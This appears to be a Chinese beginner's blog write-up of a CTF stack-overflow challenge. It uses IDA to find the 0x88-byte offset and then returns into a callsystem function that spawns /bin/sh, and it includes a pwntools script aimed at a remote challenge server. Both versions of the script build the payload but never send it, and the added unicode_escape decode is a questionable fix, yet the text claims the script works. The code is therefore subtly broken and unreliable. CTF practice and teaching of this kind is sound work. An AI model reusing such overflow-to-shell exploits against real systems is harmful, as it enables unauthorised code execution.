终于做到第二题啦,继续加油!(当然还是先跟着大佬的步骤学习人家是咋做的,然后再总结一下自己做题出现的问题)
首先先下载附件,使用IDA进行F5,观察程序代码,先看下main、callsystem、vulnerable_function()这几个函数(在IDA界面的左侧Function name那边),根据vulnerable_function()中的read函数中 buf,可能会存在栈溢出,
而callsystem中有return 返回的是/bin/sh,所以根据大佬们的解题思路:就是将buf的数据填充垃圾数据后,是其指向callsystem的地址,这样就可以进入 system(“/bin/sh”),调用system打开了一个shell
所以下面先看buf 和 callsystem的地址:
通过点击buf 可以看到其地址是 -0000000000000080 ,而return在:+0000000000000008
这样两者就是差 0x88 个位置
然后再加入call的地址来调用shell,下面找到call的地址:
双击在function name中的callsystem,然后会出现
这里的starts at 400596就是callsystem的地址
所以使用payload = ‘a’*0x88 + p64(callsystem的地址) 这里就是400596 这是核心代码
所以python脚本可以这么写:
from pwn import*
p = remote('111.200.241.244',56471)
call_system = 0x400596
payload =0x88*'A' + p64(call_system)
p.interactive()
这里的remote是远程连接的意思,process是本地连接,好像是因为是调shell本地运行不出flage,只能在线运行。
这里的IP地址和端口号都是通过点击获取题目场景出现的,每台电脑都不一样的
当然我这里把大佬们的代码又比着敲上以后,还是出现了问题:
通过一番查找资料,终于又有大佬帮我解决了!
要在p64()之后添加 .decode('unicode_escape')
from pwn import*
p = remote('111.200.241.244',56471)
call_system = 0x400596
payload =0x88*'A' + p64(call_system).decode('unicode_escape')
p.interactive()
然后保存(esc -> 输入冒号 -> wq)再执行一下就可以了(如果有不清楚这边怎么操作的,上一篇博客里有详细步骤,一起加油鸭!)
参照上图运行以后,ls一下,会出现flag,使用cat flag 命令就会出现flag啦 (继续加油鸭!)
总结一下:虽然刚开始两个题目wp都是看的别人的,但是终于算是有了点思路,学会了点操作,继续努力!